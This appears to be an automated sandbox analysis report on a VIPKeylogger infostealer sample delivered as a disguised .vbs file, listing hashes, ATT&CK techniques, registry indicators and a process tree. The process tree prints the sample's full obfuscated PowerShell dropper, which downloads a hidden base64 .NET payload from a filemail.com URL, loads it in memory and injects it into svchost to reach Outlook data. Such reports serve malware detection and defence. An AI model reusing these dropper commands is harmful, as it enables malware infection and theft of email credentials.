vipkeylogger | 025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765

General

Target

Scan12112024,pdf.vbs
Size

11KB
MD5

3f17db10010a4ce43a4f0429179c9f55
SHA1

0a562aa4ba586163f1016b68e028a77bce000490
SHA256

025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
SHA512

091d320806d48cf57e00ae906756a351405335d594783f3672746f741ca2f650b097c2a5b8970899d8519b6fd4c7331c9296a815c7c481b7257ef39ae92de004
SSDEEP

192:8ZRtanUEczOg4ya+7ZKQGd6csBGXSqKRq5O09NhN:y0nUcL6LK

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
4	380	WScript.exe
6	380	WScript.exe
21	3716	powershell.exe
29	3716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
3260	powershell.exe
3716	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

svchost.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
31	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 3716 set thread context of 1232	3716	powershell.exe	102

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

svchost.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Modifies registry class 1 IoCs

Processes:

WScript.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	WScript.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

powershell.exepowershell.exesvchost.exe

pid	Process
3260	powershell.exe
3260	powershell.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe
1232	svchost.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	1232	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exeWScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 4924 wrote to memory of 380	4924	WScript.exe	83
PID 4924 wrote to memory of 380	4924	WScript.exe	83
PID 380 wrote to memory of 3260	380	WScript.exe	87
PID 380 wrote to memory of 3260	380	WScript.exe	87
PID 3260 wrote to memory of 3716	3260	powershell.exe	89
PID 3260 wrote to memory of 3716	3260	powershell.exe	89
PID 3716 wrote to memory of 4648	3716	powershell.exe	101
PID 3716 wrote to memory of 4648	3716	powershell.exe	101
PID 3716 wrote to memory of 4648	3716	powershell.exe	101
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102
PID 3716 wrote to memory of 1232	3716	powershell.exe	102

outlook_office_path 1 IoCs

Processes:

svchost.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

outlook_win_path 1 IoCs

Processes:

svchost.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Windows\SysWOW64\svchost.exe"
        5⤵
        
        PID:4648
    - - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Windows\SysWOW64\svchost.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mthbvono.xaf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Filesize
1KB

MD5
3cc8a019daa8e623719ff9741de015a0

SHA1
16e2932236fb74f7009f7b817f070eda4363ba1a

SHA256
a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091

SHA512
cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61

Download Submit
memory/1232-31-0x0000000005050000-0x000000000509E000-memory.dmp

Filesize
312KB

Download
memory/1232-27-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1232-24-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1232-32-0x00000000059B0000-0x0000000005F54000-memory.dmp

Filesize
5.6MB

Download
memory/1232-33-0x0000000005110000-0x000000000515E000-memory.dmp

Filesize
312KB

Download
memory/1232-34-0x0000000005400000-0x000000000549C000-memory.dmp

Filesize
624KB

Download
memory/1232-35-0x0000000006740000-0x0000000006902000-memory.dmp

Filesize
1.8MB

Download
memory/1232-36-0x00000000065E0000-0x0000000006630000-memory.dmp

Filesize
320KB

Download
memory/1232-37-0x0000000006E40000-0x000000000736C000-memory.dmp

Filesize
5.2MB

Download
memory/1232-38-0x0000000006AF0000-0x0000000006B82000-memory.dmp

Filesize
584KB

Download
memory/1232-39-0x0000000006AB0000-0x0000000006ABA000-memory.dmp

Filesize
40KB

Download
memory/3260-9-0x000001D379E10000-0x000001D379E32000-memory.dmp

Filesize
136KB

Download
memory/3716-23-0x000001C178C60000-0x000001C178DB8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads